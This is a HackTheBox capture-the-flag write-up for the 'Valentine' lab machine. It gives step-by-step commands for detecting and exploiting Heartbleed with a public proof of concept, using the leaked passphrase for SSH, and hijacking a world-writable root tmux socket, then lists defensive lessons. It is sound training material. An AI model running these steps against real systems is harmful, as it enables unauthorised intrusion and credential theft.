Valentine - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐⭐☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Valentine is a medium-difficulty Linux machine that centers on the devastating Heartbleed vulnerability (CVE-2014-0160), a critical flaw in OpenSSL that allows attackers to read sensitive data from memory. The machine provides an excellent real-world scenario: discovering Heartbleed on an HTTPS server, extracting credentials from memory, and leveraging a misconfigured tmux session for privilege escalation. This writeup covers vulnerability identification, memory extraction exploitation, and escalation via insecure session management.

TL;DR: Port scan → Identify Heartbleed vulnerability → Extract base64 credentials from memory → Decode passphrase for SSH key → Connect as hype user → Exploit world-readable tmux session running as root → Achieve full system compromise.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.79

Results:

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
443/tcp open  https   Apache httpd 2.2.22 ((Ubuntu))

Three key services are exposed: SSH, HTTP, and HTTPS. The Ubuntu version and OpenSSH/Apache versions indicate this is a legacy system potentially vulnerable to older exploits.

Service Enumeration

HTTP/HTTPS Web Service:

Using directory enumeration tools (Dirbuster/Gobuster) against the web server reveals:

• /hype_key - An encrypted SSH private key file
• /encode - A directory (likely for encoding/decoding utilities)
• /decode - A directory (likely for encoding/decoding utilities)

HTTPS Vulnerability Assessment:

Running Nmap’s Heartbleed detection script:

nmap -p443 --script ssl-heartbleed 10.10.10.79

Results confirm the server is vulnerable to Heartbleed (CVE-2014-0160).

Vulnerability Assessment

Initial Foothold

Exploitation Path: Heartbleed Memory Extraction

Step 1: Exploit Heartbleed to Extract Memory

Download and execute the SensePost Heartbleed POC:

# Clone the exploit
git clone https://github.com/sensepost/heartbleed-poc.git
cd heartbleed-poc

# Run the exploit against the target
python2 heartbleed-poc.py 10.10.10.79

The exploit reads 64KB chunks from the target’s memory. Running it multiple times may be necessary to capture all leaked data. Among the leaked memory, a base64-encoded string will be visible:

aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

Step 2: Decode the Extracted Credentials

# Decode the base64 string
echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d

# Output:
# heartbleedbelievethehype

This is the passphrase for the SSH private key discovered earlier.

Step 3: Decrypt and Use the SSH Key

Retrieve the encrypted SSH key and decrypt it using the passphrase:

# Download the hype_key from the web server (or use scp if available)
# The key is typically an RSA private key

# Use the passphrase to connect via SSH
# Note: Newer OpenSSH versions disable ssh-rsa by default
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i hype_key hype@10.10.10.79

When prompted for the key passphrase, enter: heartbleedbelievethehype

Result: Successfully logged in as the hype user.

hype@Valentine:~$ id
uid=1000(hype) gid=1000(hype) groups=1000(hype)

Privilege Escalation

Exploiting Insecure Tmux Session

Step 1: Enumerate Running Processes

hype@Valentine:~$ ps aux | grep tmux
root       1242  0.0  0.1   5972   912 ?        Ss   10:45   0:00 tmux -S /.devs/dev_sess

A tmux session is running as the root user with the socket file at /.devs/dev_sess.

Step 2: Check Socket Permissions

hype@Valentine:~$ ls -la /.devs/dev_sess
srw-rw-rw- 1 root root 0 Jul 28 10:45 /.devs/dev_sess

The socket file has world-readable and world-writable permissions (666), meaning any user can attach to this session.

Step 3: Attach to Root’s Tmux Session

hype@Valentine:~$ tmux -S /.devs/dev_sess

This command attaches to the root tmux session. Since the session was created with root privileges, any commands executed within it will run as root.

Step 4: Verify Root Access

root@Valentine:~# id
uid=0(root) gid=0(root) groups=0(root)

root@Valentine:~# whoami
root

Full root access has been achieved.

Attack Chain Summary

Nmap Reconnaissance
        ↓
Identify HTTPS + Heartbleed Vulnerability
        ↓
Exploit Heartbleed → Extract Base64 Credential
        ↓
Decode Base64 → Obtain SSH Passphrase
        ↓
SSH Connect as hype User
        ↓
Enumerate Processes → Find Root Tmux Session
        ↓
Attach to World-Readable Tmux Socket
        ↓
Root Access Achieved

Tools Used

Key Learnings

Techniques Practiced

• Heartbleed vulnerability identification and exploitation
• Memory leak analysis and sensitive data extraction
• SSL/TLS vulnerability assessment
• SSH key-based authentication with passphrases
• Process enumeration for privilege escalation paths
• Unix socket security and session hijacking
• OpenSSH algorithm compatibility and configuration

Lessons Learned

1. Heartbleed Impact: A single vulnerability in a widely-used library (OpenSSL) can expose sensitive data across millions of systems. Always keep cryptographic libraries patched.

2. Memory Leaks Expose Secrets: Even encrypted credentials can be vulnerable if the encryption key or passphrase is leaked through memory exposure.

3. File Permissions Matter: World-readable sockets and sensitive files are critical misconfigurations. Regular audits of /dev, /tmp, and system sockets are essential.

4. Tmux Session Hijacking: Process isolation doesn’t guarantee security if session sockets aren’t properly protected. Restrict socket access with appropriate permissions.

5. Legacy System Risks: Older OpenSSH versions use deprecated algorithms (ssh-rsa). Understanding compatibility issues is necessary for exploitation across environments.

6. Defense in Depth: Even with SSH key authentication, the system was compromised due to Heartbleed. Multiple layers of security are required.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>